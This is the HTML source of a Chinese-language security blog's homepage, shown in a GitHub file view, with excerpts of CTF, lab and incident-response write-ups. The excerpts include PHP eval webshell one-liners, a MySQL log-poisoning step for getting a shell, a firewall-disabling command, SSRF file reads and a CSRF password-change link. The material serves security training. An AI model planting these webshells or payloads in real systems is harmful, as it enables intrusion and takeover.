-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
422 lines (340 loc) · 45.4 KB
/
Copy pathindex.html
File metadata and controls
422 lines (340 loc) · 45.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
<!DOCTYPE html><html lang="en" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0,viewport-fit=cover"><title>Cyr1s - CTF | PWN</title><meta name="author" content="Cyr1s"><meta name="copyright" content="Cyr1s"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta property="og:type" content="website">
<meta property="og:title" content="Cyr1s">
<meta property="og:url" content="https://cyr1s.vercel.app/index.html">
<meta property="og:site_name" content="Cyr1s">
<meta property="og:locale" content="en_US">
<meta property="og:image" content="https://avatars.fastly.steamstatic.com/c857041ec42fa3fe98752c5ae357e69ac42a3639_full.jpg">
<meta property="article:author" content="Cyr1s">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://avatars.fastly.steamstatic.com/c857041ec42fa3fe98752c5ae357e69ac42a3639_full.jpg"><link rel="shortcut icon" href="https://cdn.jsdelivr.net/gh/Tri-Pic/Wordpress/img/icon.jpg"><link rel="canonical" href="https://cyr1s.vercel.app/index.html"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css?v=4.13.0"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@6.5.1/css/all.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = {
root: '/',
algolia: {"appId":"JC4WT5ALFE","apiKey":"bba2a739f3a887574225f0e0dc5f3d2c","indexName":"hexo-algolia","hits":{"per_page":6},"languages":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}.","hits_stats":"${hits} results found in ${time} ms"}},
localSearch: {"path":"/search.xml","preload":false,"top_n_per_article":1,"unescape":false,"languages":{"hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found"}},
translate: undefined,
noticeOutdate: undefined,
highlight: {"plugin":"highlight.js","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
copy: {
success: 'Copy Successful',
error: 'Copy Error',
noSupport: 'Browser Not Supported'
},
relativeDate: {
homepage: false,
post: false
},
runtime: 'days',
dateSuffix: {
just: 'Just now',
min: 'minutes ago',
hour: 'hours ago',
day: 'days ago',
month: 'months ago'
},
copyright: undefined,
lightbox: 'fancybox',
Snackbar: undefined,
infinitegrid: {
js: 'https://cdn.jsdelivr.net/npm/@egjs/infinitegrid@4.11.1/dist/infinitegrid.min.js',
buttonText: 'Load More'
},
isPhotoFigcaption: false,
islazyload: false,
isAnchor: false,
percent: {
toc: true,
rightside: false,
},
autoDarkmode: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
title: 'Cyr1s',
isPost: false,
isHome: true,
isHighlightShrink: false,
isToc: false,
postUpdate: '2026-01-25 01:41:33'
}</script><script>(win=>{
win.saveToLocal = {
set: (key, value, ttl) => {
if (ttl === 0) return
const now = Date.now()
const expiry = now + ttl * 86400000
const item = {
value,
expiry
}
localStorage.setItem(key, JSON.stringify(item))
},
get: key => {
const itemStr = localStorage.getItem(key)
if (!itemStr) {
return undefined
}
const item = JSON.parse(itemStr)
const now = Date.now()
if (now > item.expiry) {
localStorage.removeItem(key)
return undefined
}
return item.value
}
}
win.getScript = (url, attr = {}) => new Promise((resolve, reject) => {
const script = document.createElement('script')
script.src = url
script.async = true
script.onerror = reject
script.onload = script.onreadystatechange = function() {
const loadState = this.readyState
if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
script.onload = script.onreadystatechange = null
resolve()
}
Object.keys(attr).forEach(key => {
script.setAttribute(key, attr[key])
})
document.head.appendChild(script)
})
win.getCSS = (url, id = false) => new Promise((resolve, reject) => {
const link = document.createElement('link')
link.rel = 'stylesheet'
link.href = url
if (id) link.id = id
link.onerror = reject
link.onload = link.onreadystatechange = function() {
const loadState = this.readyState
if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
link.onload = link.onreadystatechange = null
resolve()
}
document.head.appendChild(link)
})
win.activateDarkMode = () => {
document.documentElement.setAttribute('data-theme', 'dark')
if (document.querySelector('meta[name="theme-color"]') !== null) {
document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
}
}
win.activateLightMode = () => {
document.documentElement.setAttribute('data-theme', 'light')
if (document.querySelector('meta[name="theme-color"]') !== null) {
document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
}
}
const t = saveToLocal.get('theme')
if (t === 'dark') activateDarkMode()
else if (t === 'light') activateLightMode()
const asideStatus = saveToLocal.get('aside-status')
if (asideStatus !== undefined) {
if (asideStatus === 'hide') {
document.documentElement.classList.add('hide-aside')
} else {
document.documentElement.classList.remove('hide-aside')
}
}
const detectApple = () => {
if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
document.documentElement.classList.add('apple')
}
}
detectApple()
})(window)</script><link rel="stylesheet" href="/css/custom.css"><link rel="stylesheet" href="/css/aplayer.css"><script src="/js/smoothscroll.js" type="text/javascript"></script><script async data-pjax src="/js/aplayer.js"></script><script src="/js/Meting.js"></script><link rel="stylesheet" href="/css/rightMenu.css"><!-- hexo injector head_end start --><link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/Zfour/Butterfly-double-row-display@1.00/cardlistpost.min.css"/>
<style>#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap > .tags:before {content:"\A";
white-space: pre;}#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap > .tags > .article-meta__separator{display:none}</style>
<link rel="stylesheet" href="https://npm.elemecdn.com/hexo-butterfly-wowjs/lib/animate.min.css" media="print" onload="this.media='screen'"><link rel="stylesheet" href="https://npm.elemecdn.com/hexo-butterfly-tag-plugins-plus@latest/lib/assets/font-awesome-animation.min.css" media="defer" onload="this.media='all'"><link rel="stylesheet" href="https://npm.elemecdn.com/hexo-butterfly-tag-plugins-plus@latest/lib/tag_plugins.css" media="defer" onload="this.media='all'"><script src="https://npm.elemecdn.com/hexo-butterfly-tag-plugins-plus@latest/lib/assets/carousel-touch.js"></script><!-- hexo injector head_end end --><meta name="generator" content="Hexo 7.3.0"></head><body><div id="web_bg"></div><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://avatars.fastly.steamstatic.com/c857041ec42fa3fe98752c5ae357e69ac42a3639_full.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">Articles</div><div class="length-num">17</div></a><a href="/tags/"><div class="headline">Tags</div><div class="length-num">10</div></a><a href="/categories/"><div class="headline">Categories</div><div class="length-num">0</div></a></div><hr class="custom-hr"/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group hide" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> Link</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="page" id="body-wrap"><header class="full_page" id="page-header"><nav id="nav"><span id="blog-info"><a href="/" title="Cyr1s"><span class="site-name">Cyr1s</span></a></span><div id="menus"><div id="search-button"><a class="site-page social-icon search" href="javascript:void(0);"><i class="fas fa-search fa-fw"></i><span> Search</span></a></div><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group hide" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> Link</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page" href="javascript:void(0);"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="site-info"><h1 id="site-title">Welcome to Cyr1s's blog</h1><p id="site-subtitle">Constantly Thrive Forward</p><div id="site_social_icons"><a class="social-icon" href="https://github.com/Cyr1s-dev" target="_blank" title="Github"><i class="fab fa-github" style="color: #24292e;"></i></a></div></div><div id="scroll-down"><i class="fas fa-angle-down scroll-down-effects"></i></div><section class="main-hero-waves-area waves-area"><svg class="waves-svg" xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink" viewBox="0 24 150 28" preserveAspectRatio="none" shape-rendering="auto"><defs><path id="gentle-wave" d="M -160 44 c 30 0 58 -18 88 -18 s 58 18 88 18 s 58 -18 88 -18 s 58 18 88 18 v 44 h -352 Z"></path></defs><g class="parallax"><use href="#gentle-wave" x="48" y="0"></use><use href="#gentle-wave" x="48" y="3"></use><use href="#gentle-wave" x="48" y="5"></use><use href="#gentle-wave" x="48" y="7"></use></g></svg></section></header><main class="layout" id="content-inner"><div class="recent-posts" id="recent-posts"><div class="recent-post-item"><div class="post_cover left"><a href="/2025/11/23/NjRAT%20%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/" title="NjRAT 样本分析"><img class="post-bg" src="/imgs/NjRAT.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="NjRAT 样本分析"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/11/23/NjRAT%20%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/" title="NjRAT 样本分析">NjRAT 样本分析</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-11-23T09:30:00.000Z" title="Created 2025-11-23 17:30:00">2025-11-23</time></span></div><div class="content">1. 概述NjRAT（又称为 Bladabindi）是一款带有图形用户界面（GUI）的远程访问工具（RAT），允许攻击者远程控制和监视受害者计算机，进行键盘记录、截图捕获、文件操作和数据窃取。该恶意软件以其广泛的功能而闻名，被用于各种网络犯罪活动。
最早的 NjRAT 由一个名为 M38dHhM 的组织创建，该组织据信位于阿拉伯语国家，主要针对中东地区。自 2013 年其源代码泄露后，出现了多个修改版本，包括但不限于：
NjRAT 0.7d Danger Edition
NjRAT 0.7d Golden Edition
NjRAT 0.7d Green Edition
NjRAT Lime Edition
2. 环境配置在此次分析中，我们采用的 NjRAT 变种为 NjRAT 0.7d Green Edition。
Github 仓库链接：https://github.com/XAKEP-1lly/NjRat-0.7D-Green-Edition-by-im523
2.1 环境搭建本实验共使用三台虚拟机：其中两台运行于 Hyper-V 的 Windows 10 Pro x ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2025/08/15/%E6%84%9A%E5%AE%89%E7%A7%91%E6%8A%80%E4%BA%8C%E9%9D%A2%E9%9D%B6%E5%9C%BAWriteUp/" title="愚安科技二面靶场WriteUp"><img class="post-bg" src="/imgs/MeetSec/MeetSec.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="愚安科技二面靶场WriteUp"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/08/15/%E6%84%9A%E5%AE%89%E7%A7%91%E6%8A%80%E4%BA%8C%E9%9D%A2%E9%9D%B6%E5%9C%BAWriteUp/" title="愚安科技二面靶场WriteUp">愚安科技二面靶场WriteUp</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-08-15T04:00:00.000Z" title="Created 2025-08-15 12:00:00">2025-08-15</time></span></div><div class="content">二面过程记录文档
WEB1FLAG1先测试目标站点功能，发现并未对用户的输入进行过滤，可以发起任意的内网或者外网的请求，推测存在SSRF
外网：
内网：
使用 file 协议file:///flag读到根目录的flag
meetsec-web1{flag1-6d5e5c2bb397ba7727b58df59b35f66a}
FLAG2再尝试获取存在 SSRF 漏洞的本机内网 IP 地址信息，内网网段是172.18.240.0/24
123456789file:///etc/hosts 的快照如下：127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.18.240.5 17b86b8e3c70
写一个python脚本，通过dict协议探测内网服务：
123456789101112131415161718192021222324252627282 ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2025/07/22/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/" title="红日靶场"><img class="post-bg" src="/imgs/HongRiSec.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="红日靶场"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/07/22/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/" title="红日靶场">红日靶场</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-07-22T04:00:00.000Z" title="Created 2025-07-22 12:00:00">2025-07-22</time></span></div><div class="content">红日靶场-ATT&CK实战（一）配置如图
nmap扫描我们部署Web服务的主机
有两个开放的端口，扫描其对应挂载的服务
爆破路径
存在后台登录页面：http://192.168.72.128/phpMyAdmin/
尝试弱口令(root/root)成功登录：
查询MySQL数据库的通用日志
得到路径C:\phpStudy\MySQL\data\stu1.log下的日志文件
我们考虑将日志文件放到站点根目录，并改为.php文件后缀
构造sql查询，通过sql查询往日志文件中写入我们的php命令，进而get shell提权
这里需要注意开启general_log读取功能，使我们每一条查询都出现在日志文件里面，这样才能成功写php日志马
1SET GLOBAL general_log='on';
输入构造的shell命令：SELECT '<?php eval($_POST["shell"]);?>'
蚁剑成功连上
尝试关掉防火墙（建议手敲命令进去）：
123netsh advfirewall set ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2025/05/30/Linux%20Kernel%20Pwn%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" title="Linux Kernel Pwn 学习笔记"><img class="post-bg" src="/imgs/KernelNotes.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Linux Kernel Pwn 学习笔记"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/05/30/Linux%20Kernel%20Pwn%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" title="Linux Kernel Pwn 学习笔记">Linux Kernel Pwn 学习笔记</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-05-30T12:00:00.000Z" title="Created 2025-05-30 20:00:00">2025-05-30</time></span></div><div class="content">Linux Kernel Pwn 学习笔记Basic Intro内核漏洞利用的特点简单介绍 Kernel Pwn 和 User-Space Pwn 两者间的区别。
攻击目标二者最大区别在于攻击目标的不同。
以往我们遇见的用户态Pwn大多以 “命令执行” 为目标编写漏洞利用程序。而内核态Pwn则通常以 “提升权限” 为目标编写漏洞利用程序。在假设攻击者已通过某种手段入侵目标机器的前提下，攻击者利用内核漏洞进一步获取root权限。类似于这样在本地机器上进行权限提升的行为，被称为 LPE (Local Privilege Escalation，本地提权) 。
当然，用户态中也存在可以提升权限的漏洞，但这是因为攻击目标的程序以特权用户身份运行的。在内核漏洞利用中，主要攻击目标有以下两种：
Linux内核
内核模块（Loadable Kernel Modules - LKMs）
Linux内核中的代码（系统调用、文件系统等）以root权限运行，因此当内核本身存在缺陷时，可能导致LPE（本地权限提升）漏洞。
另一类是包含在设备驱动程序等内核模块中的漏洞。设备驱动程序是用于简化用户空间与外部设备 ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2025/03/18/DVWA%20%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/" title="DVWA 靶场笔记"><img class="post-bg" src="/imgs/DVWA.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="DVWA 靶场笔记"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/03/18/DVWA%20%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/" title="DVWA 靶场笔记">DVWA 靶场笔记</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-03-18T04:00:00.000Z" title="Created 2025-03-18 12:00:00">2025-03-18</time></span></div><div class="content">DVWA 靶场笔记Brute Force登录框，Burp抓包，放到Intruder爆破即可，根据响应包的长度得到正确的密码
Command Injection首先查看源码
请求参数 ip 会直接被拼接到 shell_exec 函数的 ping 命令中
通过构造恶意输入再传递给 shell_exec 函数，进行命令注入攻击
Cross Site Request Forgery (CSRF)该页面的链接，点击后即可修改掉用户密码，没有任何校验
可以构造恶意网站，诱导受害者点击，即可修改TA的密码
123<a href="http://198.18.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" /> <img src="http://127.0.0.1/tupian.jpg" border="0" width="800" height="60 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2025/03/18/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%20%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/" title="春秋云境 靶场笔记"><img class="post-bg" src="/imgs/websecurity.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="春秋云境 靶场笔记"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/03/18/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%20%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/" title="春秋云境 靶场笔记">春秋云境 靶场笔记</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-03-18T04:00:00.000Z" title="Created 2025-03-18 12:00:00">2025-03-18</time></span></div><div class="content">春秋云境 靶场笔记CVE-2022-32991登录页面
任意注册账户登录
访问 welcome.php：http://eci-2zeddrs0sa8uwhp5l5n9.cloudeci1.ichunqiu.com/welcome.php?q=1
存在参数 q，尝试 sql 注入
Burp 抓包：
123456789101112131415GET /welcome.php?q=1 HTTP/1.1Host: eci-2zeidk6onhgzoxoik7ds.cloudeci1.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-USAccept-Encoding: gzip, deflate, brReferer: http://eci-2zeidk6on ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2025/03/18/%E7%8E%84%E6%9C%BA%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94WriteUp/" title="玄机应急响应WriteUp"><img class="post-bg" src="/imgs/xj-edisec.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="玄机应急响应WriteUp"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/03/18/%E7%8E%84%E6%9C%BA%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94WriteUp/" title="玄机应急响应WriteUp">玄机应急响应WriteUp</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-03-18T04:00:00.000Z" title="Created 2025-03-18 12:00:00">2025-03-18</time></span></div><div class="content">第一章 应急响应- Linux入侵排查
web目录存在木马，请找到木马的密码提交
打包/var/www/html目录下的文件：
tar -cvf archieve.tar .
D盾扫描得到木马路径：\archive\www\html\1.php
1<?php eval($_POST[1]);?>
flag：flag{1}
服务器疑似存在不死马，请找到不死马的密码提交
查看D盾结果中已知后门：\archive\www\html\index.php，每隔usleep(3000);生成一次.shell.php
1<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
md5解密得flag：flag{hello}
不死马是通过哪个文件生成的，请提交文件名
由 2问 得：flag{index.php}
黑客留下了木马文件，请找出黑客的服务器ip提交
同路径下shell(1). ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2025/01/10/VSEC%20%E8%BD%A6%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%20CTF%20%E6%8C%91%E6%88%98/" title="VSEC 车联网安全 CTF 挑战"><img class="post-bg" src="/imgs/vsec.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="VSEC 车联网安全 CTF 挑战"></a></div><div class="recent-post-info"><a class="article-title" href="/2025/01/10/VSEC%20%E8%BD%A6%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%20CTF%20%E6%8C%91%E6%88%98/" title="VSEC 车联网安全 CTF 挑战">VSEC 车联网安全 CTF 挑战</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2025-01-10T12:00:00.000Z" title="Created 2025-01-10 20:00:00">2025-01-10</time></span></div><div class="content">Getting StartedCan you find the interface?输入 ifconfig，根据 CAN 接口的命名规则（canX、vcanX、slcanX）判断 vcan0 是对应的 can 接口
flag：vcan0
Arbitration利用 candump 命令可捕获到 CAN 总线传输的数据流，其中，内容分别为：sniffer device | arbitration ID | size of the CAN packet | CAN data itself
123456b9c80e7d115e:~$ candump vcan0 vcan0 59E [2] 9E 10 vcan0 59E [2] 9E 10 vcan0 59E [2] 9E 10 vcan0 59E [2] 9E 10 vcan0 59E [2] 9E 10
CAN 数据流通过 Arbitration ID 标记每一条消息
这里周期性消息的 Arbitration ID 是 59E
flag：59E
Data Field 1数据流中 Arbit ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2024/12/25/WSL2%20Pwn%E7%8E%AF%E5%A2%83%E9%83%A8%E7%BD%B2/" title="WSL2 Pwn环境部署"><img class="post-bg" src="/imgs/WSL.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="WSL2 Pwn环境部署"></a></div><div class="recent-post-info"><a class="article-title" href="/2024/12/25/WSL2%20Pwn%E7%8E%AF%E5%A2%83%E9%83%A8%E7%BD%B2/" title="WSL2 Pwn环境部署">WSL2 Pwn环境部署</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2024-12-25T04:00:00.000Z" title="Created 2024-12-25 12:00:00">2024-12-25</time></span></div><div class="content">Install
在 Microsoft Store 搜索 Ubuntu 安装 (建议安装22.04，其他版本可能存在适配等未知bug)
1wsl --set-default Ubuntu-22.04
在 Windows 功能中启用适用于 Linux 的 Windows 子系统
PowerShell 输入命令：
1Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
1dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
基本环境配置更新软件包列表123sudo dpkg --add-architecture i386 # 添加32位支持库sudo apt update && sudo apt -y upgradesudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i3 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2024/09/14/Httpd%20%E7%B1%BB%20Pwn%20%E9%A2%98%E7%9B%AE%E5%89%96%E6%9E%90/" title="Httpd类Pwn题目剖析"><img class="post-bg" src="/imgs/httpd.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Httpd类Pwn题目剖析"></a></div><div class="recent-post-info"><a class="article-title" href="/2024/09/14/Httpd%20%E7%B1%BB%20Pwn%20%E9%A2%98%E7%9B%AE%E5%89%96%E6%9E%90/" title="Httpd类Pwn题目剖析">Httpd类Pwn题目剖析</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">Created</span><time datetime="2024-09-13T16:00:00.000Z" title="Created 2024-09-14 00:00:00">2024-09-14</time></span></div><div class="content">最近见到许多将Web和Pwn结合起来考察的题目，本文拟对以httpd为核心考点的题目作出展开
Httpd什么是httpdhttpd 指的是 Hypertext Transfer Protocol Daemon，通常用于描述实现 HTTP/HTTPS 协议的网络服务器软件，最著名的 httpd 实现之一是 Apache HTTP Server，因此有时候也用 httpd 来特指 Apache Web 服务器
HTTP/HTTPS 简介HTTP（超文本传输协议，Hypertext Transfer Protocol）是一种用于从网络传输超文本到本地浏览器的传输协议。它定义了客户端与服务器之间请求和响应的格式。HTTP 工作在 TCP/IP 模型之上，通常使用端口 80。
HTTPS（超文本传输安全协议，Hypertext Transfer Protocol Secure）是 HTTP 的安全版本，它在 HTTP 下增加了 SSL/TLS 协议，提供了数据加密、完整性校验和身份验证。HTTPS 通常使用端口 443。
HTTP 请求结构HTTP 请求由客户端（如浏览器）向服务器发送，用于请求 ...</div></div></div><nav id="pagination"><div class="pagination"><span class="page-number current">1</span><a class="page-number" href="/page/2/#content-inner">2</a><a class="extend next" rel="next" href="/page/2/#content-inner"><i class="fas fa-chevron-right fa-fw"></i></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://avatars.fastly.steamstatic.com/c857041ec42fa3fe98752c5ae357e69ac42a3639_full.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Cyr1s</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">Articles</div><div class="length-num">17</div></a><a href="/tags/"><div class="headline">Tags</div><div class="length-num">10</div></a><a href="/categories/"><div class="headline">Categories</div><div class="length-num">0</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/Cyr1s-dev"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/Cyr1s-dev" target="_blank" title="Github"><i class="fab fa-github" style="color: #24292e;"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>Announcement</span></div><div class="announcement_content"><center>主域名：<br><a target="_blank" rel="noopener" href="https://Cyr1s-dev.github.io/"><b><font color="#5ea6e5">cyr1s-dev.github.io</font></b></a><br>备用域名：<br><a href="https://cyr1s.vercel.app/"><b><font color="#5ea6e5">cyr1s.vercel.app</font></b></a></center></div></div><div class="sticky_layout"><div class="card-widget card-tags"><div class="item-headline"><i class="fas fa-tags"></i><span>Tags</span></div><div class="card-tag-cloud"><a href="/tags/CTF/" style="font-size: 1.45em; color: rgb(198, 77, 96)">CTF</a><a href="/tags/Web/" style="font-size: 1.45em; color: rgb(117, 68, 50)">Web</a><a href="/tags/Pwn/" style="font-size: 1.3em; color: rgb(200, 94, 131)">Pwn</a><a href="/tags/%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/" style="font-size: 1.15em; color: rgb(117, 170, 88)">样本分析</a><a href="/tags/Wordpress/" style="font-size: 1.15em; color: rgb(160, 52, 87)">Wordpress</a><a href="/tags/IoT/" style="font-size: 1.15em; color: 